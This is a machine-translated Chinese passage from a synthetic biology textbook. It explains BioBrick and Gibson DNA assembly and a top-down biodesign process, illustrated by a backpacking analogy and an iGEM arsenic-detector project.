即使是最精心计划的克隆方案也可能失败,这主要是由于生物系统的一些不可预测的行为。例如,关键酶,包括限制性内切酶、核酸酶和连接酶,如果在冰箱中放置时间过长,它们可能会停止工作。细胞可能会失去转化效率,使工程师根本无法知道之前的克隆步骤是否有效。这些问题中的大多数都相对容易解决——研究人员可以从公司订购新的酶或培养一批新的细胞——但这需要时间,因此挫折加起来。其他实验室问题可能更难解决。有时,某些引物或特定的克隆策略由于任何明显的原因不起作用。这对于总是想知道事情发生的原因的科学家来说可能非常令人沮丧,但通常最好的策略是继续前进并尝试一种全新的方法,因为传统的克隆工具箱足够大,几乎总是有多种方法设计一个特定的序列。


构建 DNA:BioBrick 组装

与传统的分子克隆一样,BioBrick 组装基于使用限制性内切酶和连接酶将 DNA 片段拼凑在一起的策略。然而,由于所有 DNA 片段都是标准化的 BioBrick 部件,因此简化了一些步骤,而完全跳过了其他步骤。 BioBrick 部件被定义为提供特定生物学功能的 DNA 序列。通常,启动子、RBS 和开放阅读框 (ORF) 都被定义为简单的“部分”。每个 BioBrick 部件都有一个唯一的识别部件号。例如,iTunes 质粒上的 lacZ 序列是 BBa_E0051 部分,其中“BBa”代表“BioBrick 系列 a”,E0051 表示该部分在标准生物部件登记处的唯一信息的目录号。 iTunes 质粒上的启动子部分和 RBS 部分也具有唯一的识别部分编号,因此任何有互联网连接的人都可以查找有关其序列和行为的信息。

正如 MIT 的 Tom Knight 博士最初描述的那样,每个标准化 BioBrick 部件都夹在包含 EcoRI 和 XbaI 限制性位点的统一“前缀”序列和包含 SpeI 和 PstI 限制性位点的统一“后缀”序列之间,如如图 3-11 所示。 前缀和后缀上的限制位点经过仔细选择,以便 BioBrick 部件都可以通过单一克隆策略组装。具体来说,一个部分前缀中的 XbaI 限制位点可以连接到用 SpeI 切割第二部分后缀后剩余的粘性末端。这以可预测的顺序连接这两个部分,并使前缀和后缀中最外层的限制性位点保持完整,从而允许生成的组装(称为复合部分)用于另一个组装反应或克隆到质粒中进行表达.换句话说,BioBrick 部件,无论是简单部件还是复合部件,每次都可以以相同的方式切割,以将任何部件连接到任何其他部件。


FIGURE

图 3-11 标准化的 BioBrick 部件。DNA 编码的功能以蓝色显示,两侧是标准化的前缀序列“P”,它带有两个已知的限制性位点和一个标准化的后缀序列,具有两个不同的限制性位点。


为了说明这一策略,我们可以考虑使用以下 BioBrick 部件构建 iTunes 质粒:

  • BBa_J231106 u003d “中等强度”推广者
  • BBa_B0034 u003d “强” RBS
  • BBa_E0051 u003d lacZ 基因的修改版本。

FIGURE

值得一提的是,如果我们的组装包括一个未出现在注册表中的 DNA 片段,我们将需要在该过程中添加几个步骤,以使该 DNA 成为标准化的 BioBrick 部件,然后再继续执行后续步骤。这个要求说明了我们在本章前面考虑的标准化的一个方面,即标准化通常需要时间和精力,但从长远来看它可以证明是更有效的。

需要两个组装步骤才能将三个部分放在一起。由于最终 DNA 组装中各部分的顺序很重要,因此必须从一开始就决定要切割哪些部分以及以什么顺序切割。许多选项都可以工作,但对于这个例子,我们假设我们决定首先将强 RBS (BBa_B0034) 放在 lacZ 基因 (BBa_E0051) 的上游。如图 3-12 所示,包含 BBa_B0034 的质粒可以在部分前缀用 EcoRI 切割,在部分后缀用 SpeI 切割。在一个单独的反应中,含有 BBa_E0051 的质粒可以在该部分的前缀中用 XbaI 切割,在其后缀用 PstI 切割。最后,可以用 EcoRI 切割将容纳新组件的目标质粒,以便与 BBa_B0034 的前缀和 PstI 匹配,使其准备好与 BBa_E0051 部分的后缀匹配。

当你组合和连接这三个 DNA 片段时,如图 3-13 所示,得到的质粒带有一个新的复合部分 BBa_B0034+E0051,你可以给它一个新的部分编号:BBa_Xnnnnn。 此新部件符合 BioBrick 标准,因为它具有标准 BioBrick 前缀、原始 B0034 和 E0051 部件之间的“混合”位置,并且后跟标准 BioBrick 后缀。 SpeI 或 XbaI 不再识别原始部件之间的混合位点。相反,B0034+E0051 复合材料部件实际上是一种新的 BioBrick。您可以使用新的零件编号将其输入注册表,并将其与任何其他 BioBrick 组合,如图 3-14 所示。


FIGURE

图 3-12 BioBrick 组件。 BioBrick 组装需要用 EcoRI 和 SpeI 消化含有上游部分的质粒,用 XbaI 和 PstI 消化含有下游部分的质粒,并用 EcoRI 和 PstI 消化目标质粒。然后将这些片段组合并连接以创建携带新 BioBrick 部分的质粒。


FIGURE

图 3-13 BioBrick 复合材料部件的组装。即使下游部件是由其他基本部件组装而成的复合部件,组合标准化 BioBrick 部件的策略也不会改变。这是 BioBrick 组装方法的一个关键启用功能。


与传统克隆相比,BioBrick 标准简化了 DNA 组装过程,并允许采用可靠、统一的策略将 DNA 片段拼凑在一起。 BioBrick 组装效率的提高部分归功于其他人的努力,他们事先对零件进行了标准化并将它们贡献给共享资源。 为了有用,BioBrick 部件必须经过改进,以便它们带有预期的前缀和后缀,并且它们本身不会有任何来自部件本身的前缀和后缀的限制位点。细化过程并非微不足道,并且确实需要工作。您可以通过分子生物学家工具包中称为定点诱变的技术或通过 DNA 的直接化学合成来对 DNA 序列进行必要的更改。无论哪种方式,所需的工作都需要能源投资,并且是采用该标准的障碍。也许这就是其他组装标准已经发展起来的原因之一,包括接下来描述的 Gibson 组装方法。


FIGURE

图 3-14 缩放 BioBrick 组件。要创建整个 iTunes 库,您可以将 ORF BioBrick 与三个不同的 RBS BioBrick 并行组合。然后,您可以将生成的复合 BioBrick 部件分成三批,每批都将与不同的促进剂组合以生产最终的复合 BioBrick 部件。与传统克隆一样,您必须将每个新的复合 BioBrick 部件转化为大肠杆菌并使其生长,以便可以提取和验证 DNA,然后才能将其用作下一个组装步骤的起始材料。


构建 DNA:Gibson 组装

Gibson 组装与传统的克隆和 BioBrick 组装方法相比有几个优点,其中最大的可能是它可以同时组装许多 DNA 部分。即使在其最早的发展阶段,一个吉布森组装反应也可以将大约十个 DNA 部分拼凑在一起。因此,与所描述的其他 DNA 组装方法相比,该技术在效率上显着提高,并且在组装复杂的遗传程序时特别有用,这些程序比我们在此处考虑的 iTunes 质粒集合中发现的部分和变异更多。

Gibson 技术由 J. Craig Venter 研究所的 Daniel Gibson 博士在全基因组组装工作期间开发,它使用 PCR 制备多个 DNA 片段以同时组装(图 3-15)。 PCR 步骤既可以生成足够的 DNA,又可以用短序列修改每个 DNA 部分,这些短序列与最终组装中的配对部分重叠。与预期相邻部分的重叠序列必须至少有 25 个碱基对才能使该技术起作用。在第二步中,根据引入的重叠序列将 PCR 产物粘贴在一起。不需要限制酶或其同源限制位点。相反,一种市售的酶,一种外切核酸酶,会修剪每个 DNA 部分上的一条链,在片段的两端留下一个 DNA 突出端。核酸外切酶没有序列特异性;它只是简单地咀嚼从 3’ 到 5’ 方向移动的任何线性双链 DNA 片段。该反应揭示了由每个 DNA 部分的 PCR 扩增引入的定制“粘性末端”。

将此技术应用于 iTunes 质粒的组装(图 3-16)提出了挑战,因为 iTunes DNA 组装中的某些部分非常短。例如,强 RBS BBa_B0034 只有 12 个碱基对长。可以使用 PCR 将这个带有 25 个碱基重叠的短 RBS 序列附加到其上游侧的启动子,并在其下游侧与 lacZ 基因重叠 25 个碱基。然而,即使每一端都有 25 个碱基,这个短 RBS 部分也不太可能在外切核酸酶处理后存活下来。很有可能它会被咀嚼成虚无!一些变通策略是可能的,但这些策略会将 DNA 组装工作重新变成实验,而不是稳健可靠的“开始”技术。此外,由于您必须为每个组件自定义构建每个部件之间的重叠序列,将 DNA 与这种技术放在一起感觉就像是实验,而不是标准化的工程工具


FIGURE

图 3-15 吉布森组件。所需最终质粒的不同部分包括功能部分——启动子、RBS 和 ORF——以浅蓝色显示。引导装配顺序和方向的工程侧翼序列由彩色条表示。


FIGURE

图 3-16 通过 Gibson 组装构建的 iTunes 质粒。最终的 DNA 构建体之一显示在部分之间的彩色条表示序列的部分,这些部分被设计为重叠,以便它们可以在单个组装反应中按顺序相互连接。


下一步是什么?

生物学本质上是可变的和不断变化的,但工程师想要可预测的和功能性的行为。为了弥合这一差距,需要一些创造性的设计思维。最具吸引力的设计可能会利用生物学的独特特性进行自组装,将细胞分子重新用作构建模块,并精确构建。本章的重点是标准化的工程原理,因为它适用于 DNA 组装技术。对于此处描述的每种组装技术,还有一些未包括在内,但最终可能会成为该领域的标准。方法的多样性说明了这一挑战正在吸引的创新想法以及缺乏完美的解决方案(目前!)。

不过,随着时间的推移,这些问题本身可能会演变。设计思维通常会在流程结束时提出与开始时不同的问题。例如,如果您要求一卡车的三脚凳,以便您工厂的工人可以有地方坐下,您可能会发现实际上需要更改的是工作时间表,而您的情况会更好轮班时间更短,工人不那么累,而不是一套椅子。当他们开始谈论铺设跨大西洋电缆时,没有人想到欧姆标准,也许没有人想到设计 DNA 或生物学的最佳方法。

额外阅读和资源

Read More

2022-07-25
生物设计基础

第2章 生物设计基础

在本章中,我们探讨了生物设计的过程:设计具有可预测行为的生物系统。我们将考虑一个类比来说明抽象在设计中的用处。然后,我们将通过设计抽象来指定用于检测水中砷的系统。在此过程中,会有提示,以便您可以将这些插图和示例应用到您选择的生活技术的设计中。

说明自上而下的设计方法

FIGURE

生物设计对你来说可能是新的,所以我们将从一个更熟悉的场景开始。

想象一下,你想去度假。首先你需要决定什么类型的假期。您想要热带度假、背包旅行、城市探险吗?要做出决定,您可以考虑每个选项的好处。例如,热带度假可能会让人放松,但也很昂贵。现在,假设您对自然比对城市更感兴趣,因此您决定背包旅行是最佳选择。

FIGURE

决定了背包旅行的“大图”之后,接下来您需要开始计划您的旅行,从更多“大”问题开始:您想在山上还是沙漠中徒步旅行?你想去两晚还是五周?对于此示例,假设您决定进行为期三天的山区旅行。但现在您必须决定要参观哪些山脉。你会选择徒步阿巴拉契亚小径还是优胜美地?如果您住在西海岸并且只有三天的假期,那么优胜美地似乎是更好的选择。在您计划或设计您的旅行时考虑这些大局问题似乎很自然。

FIGURE

决定去优胜美地进行为期三天的旅行后,您需要做出更多决定。优胜美地是一个很大的地方。你想留在山谷还是去高地?假设您知道自己想要令人难以置信的美景,并且不介意陡峭的攀登或拥挤的人群,因此您决定爬上半穹顶,这是俯瞰山谷的标志性山峰。

FIGURE

做出此选择后,您接下来需要更具体并决定如何前往半穹顶。许多不同的小径可以带您到达那里。要计划您将采取的路线,您可能会坐下来查看详细的路线图,以决定您想要徒步旅行的英里数、您想要的海拔变化以及您想要留在水边的距离。这些细节将影响您攀登半穹顶的方式以及您将走多远。

FIGURE

最后,考虑到选择的路线和攀登的细节,您需要列出您需要的设备。其中一些设备可能是标准的,例如登山靴和防晒霜,但也可能有一些特殊物品,例如您需要用于 Half Dome 电缆的橡胶手套。如果您没有这些手套,或者您无法获得某些设备,您可能需要相应地调整攀登的细节。做出所有这些决定后,剩下要做的就是出去享受假期。

从规划假期到生物设计

现在让我们看看这个假期计划过程是如何工作的,以便我们可以看到它与生物设计过程有何相似之处。第一步是确定您想要解决的挑战:您需要一个假期!接下来,您集思广益地提出了几种可能的方法:热带度假、城市探险或背包旅行。这些方法都不是“正确”或“错误”,但您考虑了它们的相对优势和劣势来解决您当前的问题,并决定背包旅行是最好的方法。

然后,您开始计划旅行的细节,使用以下抽象级别来实现您的最终计划(另请参见图 2-1):

  • 你从大局开始——我们称之为生物设计系统——并决定你想去优胜美地进行为期三天的旅行。
  • 下一个级别,大致与我们所说的设备相关,是决定您要攀登半穹顶。
  • 您旅行的下一个计划步骤是选择您将要使用的特定路径,基本上定义了您的半圆顶“设备”的机制。这些轨迹对应于我们在生物设计中所说的部分。
  • 最后,设备清单描述了您需要购买或制作的实体物品来实现您的旅行。在我们的生物设计类比中,这些部件可以被认为是设计的 DNA:它们是您需要收集和组合以构建系统的实际物理部件。

抽象是生物设计的一个重要方面。它使您可以思考和传达您的计划,而不会一下子陷入细节中。一些对生物设计有用的抽象级别包括系统、设备、部件和 DNA。无论您是否意识到,您在计划假期时都经历了非常相似的抽象级别。


FIGURE

图 2-1 表示不同抽象级别的符号。抽象层次结构顶部蓝色圆圈中的思想气泡代表主题区域的选择。蓝色圆圈中的卡通细胞或病毒代表生物抽象的系统级别。蓝色圆圈中的设备图标是布尔非门,借用了电气工程的设备符号。蓝色部分图标使用功能性 DNA 元件的符号,即启动子和开放阅读框,蓝色的 DNA 图标显示编码遗传部分的四种核酸。它们在文本中背包类比的相似之处显示在右侧。


此设计过程有一些关键特性值得关注。首先,一路上没有任何答案是“对”或“错”。每个决定都是为了最好地满足您的需求。其次,您没有一次指定所有内容。例如,您没有立即决定如何攀登半穹顶;您刚刚提供了一个通用规范,这就是您想要做的。这有助于使旅行的计划部分易于管理。想象一下,如果在这个设计过程的一开始,您试图跳到部件级设计,并决定在世界任何地方进行远足旅行要遵循的路径,如图 2-2 所示。即使您将自己限制在三天的背包旅行中,您基本上也会在地球上的每条远足径之间进行选择,这显然是不切实际的。你会被各种可能性压得喘不过气来,你的旅行可能永远不会发生。通过使用不同的抽象级别,设计路径上的每个决策都变得易于管理。抽象是在设计过程中轻松处理不太详细的描述的强大方法,因为您知道您可以在需要时指定必要的详细级别。最后,您以可以修改的方式设计了您的旅行。如果您突然发现自己有 10 天而不只有 3 天,您可以保留您的 Half-Dome 计划,但添加另一个“设备级”计划;例如,您可以攀登 El Capitan,这是公园内其他著名的山峰之一。


FIGURE

图 2-2 从抽象层次结构的中间开始。以城市为背景的优胜美地地图显示,在缩小搜索范围以排除城市之前寻找远足小径是徒劳的。


在我们从计划假期转向计划生物技术之前,还有一个类似的特征需要指出。在您决定远足路线后,您可以创建自己的地图以更好地可视化您的计划或与其他背包客分享。在生物设计中,这张地图可以被认为类似于遗传系统的接线图,这是合成生物学采用的一种电气工程形式,用于传达每个系统的一些设计元素。我们将在本章后面讨论接线图的绘制和解释。

从设计到实施

成功的设计最终将被实施,尽管本章重点关注合成生物学的设计部分,但值得简要扩展我们的背包旅行类比,以展示它如何应用于实施阶段。

在计划背包旅行时,您从非常广泛的规范开始,然后向下钻取,直到达到最精细的抽象级别:设备列表。请注意,这只是一个列表,而不是实际项目本身。从列表中的项目到实际有形对象的过渡代表了从设计过程的最后一步到实现的第一步的过渡。为了实现您的设计(即您的旅行),您将开始从这个细粒度级别进行备份,直到您可以出发并享受您计划的假期。这将涉及积累设备清单上的物品,可能是通过在当地的户外装备商店购买它们或在地下室的垃圾箱中挖掘。然后,当您准备好所有装备后,您将收拾行囊,前往登山口,开始您的旅程。

对于合成生物学设计,DNA 片段是实现设计所需的“设备”。这些是编码设计系统的基因、启动子、终止子和其他遗传成分的 DNA 物理片段。要实施该设计,您需要获得这些基因碎片,就像您需要为徒步旅行积累装备一样。您可以通过多种方式获取 DNA 片段。这些方法包括聚合酶链式反应 (PCR) 和从头合成,这些方法在 DNA 工程基础章节中进行了详细探讨。您可能已经在实验室中获得了一些可用的 DNA 部分。当您拥有所需的所有物理 DNA 片段时,您就可以将它们缝合在一起并开始构建您设计的系统。

生物设计过程概述

没有单一的、正确的方法来设计生物技术。根据您的系统规格和您已经拥有的规格,您可以通过多种方式开始。如果您从头开始,我们在这里列出了一些有助于生物设计过程的步骤。我们发现这是一个有用的框架,并且易于根据与项目相关的专业知识、时间框架和目标进行修改。这个设计过程指定了我们抽象层次的不同层次的细节,从系统级设计到设备、部件,最后是 DNA。简而言之,这里是使用的生物设计步骤:

  • 第 1 步:确定您想要解决的挑战领域
  • 第 2 步:集思广益解决挑战的方法
  • 第 3 步:确定方法
  • 第 4 步:在抽象层次结构的每个级别指定您的系统

确定领域和挑战

你首先选择一个让你感兴趣和兴奋的问题。表 2-1 提供了一些可能的起点。此表分为两类:领域和挑战。领域非常广泛,指的是整个问题或学科,而挑战是指该领域中可能需要解决的特定元素;该表仅提供了合成生物学可以解决的许多可能领域和挑战的几个例子。


表 2-1 通过生物设计解决的一些主题领域和相关挑战


领域:食物或能源
挑战:人们需要吃饭。飞机、火车和汽车也需要吃饭。人类面临的一项重大挑战是,面对不断增长的人口和对廉价燃料的日益依赖,如何满足每个人的需求。当前的食品和燃料生产方法因其对环境和全球粮食安全的负面影响而面临严厉批评。我们如何利用合成生物学以可持续的方式为世界生产食物或能源?


领域:环境
挑战:从爱情运河到太平洋大垃圾带,人类在保护地球方面没有很好的记录。但是,为子孙后代找到一种保持清洁空气、水和土地的方法是我们作为一个物种生存的关键。我们如何使用合成生物学来帮助清洁我们的星球并保护其自然生物多样性?或者,如果地球是一个失败的原因,我们如何使用合成生物学来改造另一颗行星或小行星?


领域:健康或药物
挑战:人们早就知道微生物会导致疾病,但最近人们发现它们也可以成为健康的基础。我们如何设计微生物或其他生物来帮助检测和治疗疾病?是否有用于管理慢性疾病或外科手术甚至保持身体健康的合成生物学应用?


领域:制造
挑战:细胞中充满了微小而复杂的纳米级机器,例如核糖体,它是生产蛋白质的装配线和工厂车间。这些蛋白质具有多种功能,从进行化学反应到充当皮肤和头发等组织的结构材料。我们如何利用细胞内在的制造技能来生产新的化合物、材料或结构?


领域:新的应用领域
挑战:世界上如此多的挑战可以从生物工程师的角度受益。考虑一下您在新闻中听到的问题或您在自己的生活中遇到的问题。我们可以想象合成生物学有哪些全新的应用领域?全球或本地思考,只要确保你跳出框框思考。


领域:基础进步
挑战:合成生物学站在技术进步的肩膀上,其历史可以追溯到 35 年前随着重组 DNA 技术的发明。为了确保该领域继续发展,它需要开发新的、改进的工具和技术,以帮助简化工程生物学的整个过程。哪些基础技术将在未来几年推动合成生物学的发展?


为了缩小范围,选择一个重点关注的领域会很有用;任何领域都面临着多重挑战,表 2-1 仅提供了一小部分可能性。在决定要解决的挑战时,准确描述问题很重要。但在这一点上,你不应该包含任何关于你计划如何解决它的具体想法。例如,像“找到一种方法去消灭只感染了疟疾的蚊子”之类的东西会让你走上一条比更模糊的“治愈疟疾”更好的道路,但请注意,这两个描述都没有说明如何实施这个想法。

如果在这个阶段,你发现你有一长串想要解决的挑战,你可以应用下面的一些问题。这些问题可以在一定程度上帮助缩小关注范围,让您考虑您拥有的更具影响力和可实施性的想法,同时搁置一些具有更好替代解决方案或合成生物学无法轻易解决的可能性:


我如何准确地描述我所关注的挑战和机遇?

明确界定您所看到的问题以及您认为可以解决该问题的原因,这将有助于以后的设计决策。

如果我的项目完全成功,它会产生多大的影响?会引发什么担忧?

想象成功将帮助您决定一个项目是否值得做。一个对巨大挑战产生微小影响的想法是有效的,就像一个完全解决我们面临的更小问题的项目一样。而且,您可以决定哪个对您更有吸引力。但是,出于道德或实际原因永远不会采用的设计应该被认为不那么吸引人。生物设计中的伦理考虑在生物伦理学基础章节中得到了更广泛的考虑。

我可以使用或其他人使用过的哪些其他技术来解决这个问题?

生物技术并不总是解决问题的正确方法。如果有其他更便宜、可靠或简单的方法来解决你发现的现实问题,你的想法可能就不那么有吸引力了。

关于这个挑战以及我解决它的方法,我有什么不知道的?有什么不被知道或者不可能被知道?

科学为我们提供了很多关于某些事情的信息(例如,基因变化如何导致某些疾病状态),而很少告诉我们其他事情(生命如何在火星上生存)。当你开始深入研究细节时,几乎任何项目都会有一个陡峭的学习曲线,所以知道你能找到什么以及什么仍然是个谜可能会帮助你决定一个项目的想法。

所有这些问题都很重要。您的想法列表可能会为某些问题提供非常好的答案,但对其他问题的答案却很弱。一般来说,您对这些问题的回答越准确,您在采取下一个设计步骤时就会越好。

想象一下,您选择解决砷污染水带来的挑战,这是孟加拉国和西孟加拉邦的一个问题。因为没有简单的方法来确定水是否被污染,所以住在那里的人们一直在喝被砷污染的水并生病。事实上,一个学生团队在名为国际基因工程机器 (iGEM) 的合成生物学设计竞赛中解决了这一挑战。接下来,我们将介绍该团队的项目,以提供生物设计在行动中的具体说明。

iGEM 团队想要设计一种简单的方法来确定水是否被砷污染。它决定设计一个细胞,以便在存在砷时产生某种易于检测的信号。这种通俗易懂的系统描述,“当有砷存在时,可以产生人类可检测信号的某种细胞”,是设计过程中此时适合的系统级描述的一个很好的例子。它是精确的,但不是过于机械化。随着项目想法变得更加细化,它将被进一步指定,但在这里保持这种高抽象水平是有帮助的。

您还可以看到运用之前的问题列表将如何帮助 iGEM 团队确认其选择了合适的主题。问题很明确:否则饮用水中无法检测到的砷会对健康造成严重影响。该团队还精确定义了该方法,该方法相对简单:构建一个在砷存在的情况下产生人类可检测信号的系统。如果它成功构建了一个易于使用的砷检测系统,它可以显着改善孟加拉国和西孟加拉邦人们的健康,特别是考虑到应对这一挑战的其他技术解决方案价格昂贵,从而限制了这些解决方案在潜在污染地区的广泛分布。

头脑风暴解决方案

在确定了要解决的问题之后,就该开始考虑解决问题的不同方法了。在这个阶段,棘手的是你还不想陷入细节的泥潭。我们仍在谈论可以为稍后出现的更详细设计提供框架的大局构想。任何问题都有许多可能的解决方案。最终,有些人可能最终会比其他人更好,稍后您将在决定追求的方法时探索这些优势和劣势。不过,在这一点上,您真的可以尽情发挥想象力。

对于我们的砷检测系统,一些可能的解决方案可能是:

  • 接触砷时产生气味的细胞
  • 细胞在接触砷时会迅速开始生长和分裂
  • 细胞暴露于砷时会呈现出明显的颜色
  • 你的想法在这里!

FIGURE

如果您发现此时无法提出想法,则可能是您过于关注如何实施它们的细节,这可能会阻碍您的创意。请注意,这些想法都没有表明细胞将如何检测砷,甚至我们正在谈论的是哪种细胞。请记住,我们在这里考虑的是大局,而不是细节!

决定一种方法

现在是时候从您在上一步中列出的想法中选择一个(或两个)并开始指定设计了。在这一点上,我们只是缩小选择范围,最终找到一种能够满足您定义的挑战的单一方法,但请记住,我们还没有锁定任何方法。设计是一个迭代的过程。当您考虑您的设计并构建一些原型时,您几乎肯定会遇到障碍。在某些情况下,您可以克服这些障碍,但在其他情况下,返回设计过程的早期阶段并完全重新考虑您的方法可能是最有效的。这不是失败;这是设计和工程工作方式的一个乐观特征。那里有一个很好的解决方案,你可以继续寻找它,并且,当你这样做时,你将从这个过程中学到一些东西。在权衡想法时,您可以返回第 24 页“确定领域和挑战”中的问题来指导您的思考。诸如“您如何准确地定义挑战?”之类的问题。以及“你的项目能带来多大的改变?”将阐明您工作的意图和规范。

当您确定了一个项目构想时,例如 iGEM 团队的砷检测项目构想,是时候做出一些选择了。 iGEM 团队需要满足特定的设计规范。他们希望确保他们的细胞产生的任何信号都可以被任何进行测试的人轻松检测到,并且他们还希望确保响应相对较快,因此收集水的人不必等待很长时间才能知道是否可以使用该水源的水。要在将水变成特定颜色、产生气味或以不同速度增长的砷检测器之间进行选择,团队可以考虑以下因素:

  • 基于现有生物部分和方法的知识实施其系统的预期可行性
  • 该方法的灵活性,因为可推广的系统可以在以后用于其他应用程序
  • 设计的预期成功,简单的设计通常有更大的成功机会

FIGURE

在权衡这三种方法时,有些事情变得清晰起来。在砷存在的情况下产生的气味可能不是一个足够可检测的指标,并且可能存在许多其他相互竞争的环境气味。增长率的变化可能太慢而无法检测到,也可能是由砷以外的许多其他因素引起的。因此,在三个项目创意中,砷引起的颜色变化似乎最具吸引力。

值得注意的是,此时仍未具体说明设计的细节。仍然没有决定生产什么颜色或如何感知砷。相反,只选择了大方向。实施该方法的一些细节已经到位,但我们仍然没有陷入细节——接下来!

使用设备、部件和 DNA 指定您的系统

随着高级系统设计到位,是时候开始指定它将如何工作,深入研究实施细节。然而,与其直接跳到它的遗传学上,我们将逐步了解不同的抽象层。

在上一步中,您制作了一个广泛的描述来概述系统应如何响应不同的刺激和环境条件。要构建这样一个系统,您需要深入到 DNA 水平并决定基盘,这是用于描述运行您的基因程序的有机体的术语。为了帮助制定系统规范,有两个中间抽象层:设备和部件,如图 2-3 所示。

由一个或多个部件组成的设备将一些我们可以指定的“输入”转换为我们可以检测到的“输出”,或者可以输入另一个设备。例如,对于砷检测示例,iGEM 团队知道它需要某种方法来检测砷并产生颜色作为响应。该团队本可以使用一种设备来实现其系统,即一种可以感知砷并产生颜色的设备。或者(事实上,他们选择做什么),该系统可以用两个设备实现:一个用于检测砷,另一个用于颜色生成。砷传感装置的输入是砷,其输出是颜色生成装置可以检测到的信号。颜色生成设备的输出是一种颜色。这些非常广泛的规范足以定义实现砷检测系统所需的设备,我们将这些设备中的每一个如何单独工作以及它们如何相互通信的细节留在下一个抽象级别中考虑。


FIGURE

图 2-3 生物设计的扩展抽象层次结构。抽象可以支持复杂的系统设计。这种抽象层次包括“主题领域”作为顶层,强调需要选择一个广泛的挑战来关注。抽象还包括整个系统,其中包括对您的设计理念的简单语言描述。然后,该系统可以分解为特定的设备,这些设备由 DNA 构建的某些部件组成。


在某些情况下,设备可能会执行类似于计算机科学和电气工程中常用的逻辑功能。我们稍后会更详细地描述布尔逻辑函数,但简单来说,示例包括一个 AND 门,它仅在所有需要的蜂窝信号都存在时生成输出,以及一个 OR 门,它在任何所需信号存在时生成输出。因为您可以通过多种方式实现这些输入、输出和逻辑设备,所以它们在抽象层次结构中比构成它们的部件更高,我们将在接下来进行探讨。事实上,有可能(甚至是可取的)为您的系统构想提供一个设备列表,而无需考虑如何制作它们。

部件是编码基本生物学功能的 DNA 序列,例如启动子、开放阅读框 (ORF) 和核糖体结合位点,这些在 DNA 工程基础章节中有更详细的描述。为了实现设备所需的功能,合成生物学家用简单的部件组装设备。有时,DNA 序列可以是一部件,有时它可以是一个设备,这取决于它在系统中的运行方式。不过,一般来说,设备可以通过它们在系统中的生物学后果来定义,并且它们通常由多个部件组成。砷传感装置可能需要一个与砷结合的蛋白质部件,以及一个启动子部件来启动该蛋白质编码序列的转录,而产生颜色的装置可能包括一个不同的蛋白质部件,它会产生一些彩色的化学信号。该装置可以使用与砷传感装置中使用的相同或不同的启动子部件来表达作为装置输出的产生颜色的蛋白质。

我们将设备和部件视为不同的抽象级别,因为这对我们设计和构建系统很有帮助。然而,设备和部件之间的边界并不像元素周期表上元素之间的边界。可以通过质子数来定义原子,但没有通用的物理定律来说明什么是“设备”和什么是“部件”。实际上,您可能会遇到可以将相同的生物组件视为设备或部件的情况。正如我们在这个设计环境中多次强调的那样,没有“正确”或“错误”的答案。相反,这些不同的抽象层对于设计人员在考虑复杂系统时可能非常有用,而对设计人员的实用性是这种抽象层次结构中最重要的方面。因此,不要让自己陷入困境,无论您是在谈论设备还是部件;这些不同术语的重点是帮助您进行设计。接下来的几个例子将说明这些不同标签的用途。

系统级设计

我们将关注系统级设计的两个组成部分:系统行为和基盘选择。

您在生物设计框架中遵循的早期步骤帮助您决定系统的行为。对于砷项目的想法,iGEM 团队将总体期望行为定义如下:砷会导致可见的颜色变化。这是系统的“简单语言”描述。传达系统行为的第二种方法是使用真值表,这是一种广泛用于电气工程和计算机科学的基本逻辑工具。真值表传达了系统在存在或不存在输入的情况下应该如何表现。对于砷检测系统,真值表很简单:如果输入(砷)不存在,则不应该有输出(不应该产生颜色);如果输入存在,则输出应打开(应生成颜色):

输入   输出
缺失 关闭
存在 打开

这个逻辑也可以用其他几种方式表达;例如,其中 false 对应于“off”,true 对应于“on”:

输入   输出

或者,您可以使用数学符号,其中“-”对应于“off”,“+”对应于“on”:

输入   输出
- -
+ +

或者,您可以使用二进制代码,其中“0”对应“off”,“1”对应“on”:

输入   输出
0 0
1 1

请记住,这些都代表系统的相同基本逻辑,只是使用不同的词汇。当您构建更复杂的系统时,您可能需要更复杂的真值表。在设计复杂设备时,真值表也很有用。我们在随后的逻辑器件描述中提供了一些示例。

系统级设计的第二个方面是确定您将使用哪个宿主有机体或基盘(见图 2-4)来运行您的基因程序。您可以使用许多不同的生物体和细胞类型作为设计系统的基盘,包括细菌、酵母、病毒和哺乳动物细胞。合成生物学最常用的两种基盘是大肠杆菌和酿酒酵母。这两款宿主特性良好、安全且运行相对可靠,使其成为许多设计系统的合适基盘。但根据应用,明智的做法是选择具有特定生长特征的宿主或具有对设计有用的天然蛋白质的宿主。回到本章开头的背包类比,优胜美地是选择的系统,但如果你不喜欢陡峭的攀登或拥挤的人群,它就不是正确的系统选择,你可能需要重新考虑你的远足决定优胜美地与阿巴拉契亚小径,或选择优胜美地的高地而不是山谷。


FIGURE

图 2-4 选择基盘。合成遗传程序通常位于相对容易理解的实验室系统和细胞中,包括此处显示的那些。基盘从最小(左)到最大(右)排列,图标下方显示了大致尺寸和显微工具。


设备级设计

在您指定了系统级设计之后,您可以开始着手进行设备级实现——从我们的背包类比中爬上 Half Dome。同样,请记住,您不需要指定设备工作的确切物理机制。相反,如图 2-5 所示,我们将使用“砷检测器”和“颜色生成器”等通用标签来突出它们的作用,但不一定是它们的作用方式。换句话说,此时您可以命名您想要的任何类型的设备,并且您无需担心它是如何工作的,甚至它是否真的存在。看起来好像您正在凭空拉出设备,但自然生物系统是如此多样化,以至于我们可能会根据现有的生物部件或对其进行小的修改来制造我们想要的任何类型的设备。


FIGURE

图 2-5 两个设备的“黑匣子”描述。砷检测和颜色生成设备的展示方式说明了它们的用途,而不是它们的工作原理。


除了构建系统所需的设备类型之外,另一个考虑因素是最优的设备数量。例如,制造砷检测系统的 iGEM 团队可以为其系统指定两个设备:一个砷检测器,以砷为输入并提供信号作为输出;以及一个颜色生成设备,以来自砷检测器的信号作为输入并产生颜色作为输出。该团队本可以使用单个设备实现相同的系统功能,该设备将砷作为输入并产生颜色作为输出,但这样的设备将是高度专业化的,并且可能只对他们的一个系统有用。通过将系统分成两个设备,该团队定义了更通用的设备,这些设备将来可能对其他应用程序有用。考虑定义在各种应用中具有长期效用的设备是有帮助的。

当系统需要多个设备时,使用电气工程中的另一种工具来整理设计细节会很有用:接线图。电气工程师使用接线图以图形方式表示电路,该接线图解释了部件和设备如何相互连接。它们可以是字面的,连接代表实际的电线,而部件代表特定的电气元件,例如晶体管和电容器,或者它们可以是设计应该如何工作的更抽象和概念性的说明。对于我们的生物学实现,接线图大多是概念性的,因为我们没有实际的电线来连接系统的不同组件。制作这样的接线图可能是制定设计和与其他合成生物学家交流的有用方法。这些接线图就像您在背包旅行时绘制的地图,以攀登半穹顶;您既可以完善您的计划,也可以与他人分享详细信息。

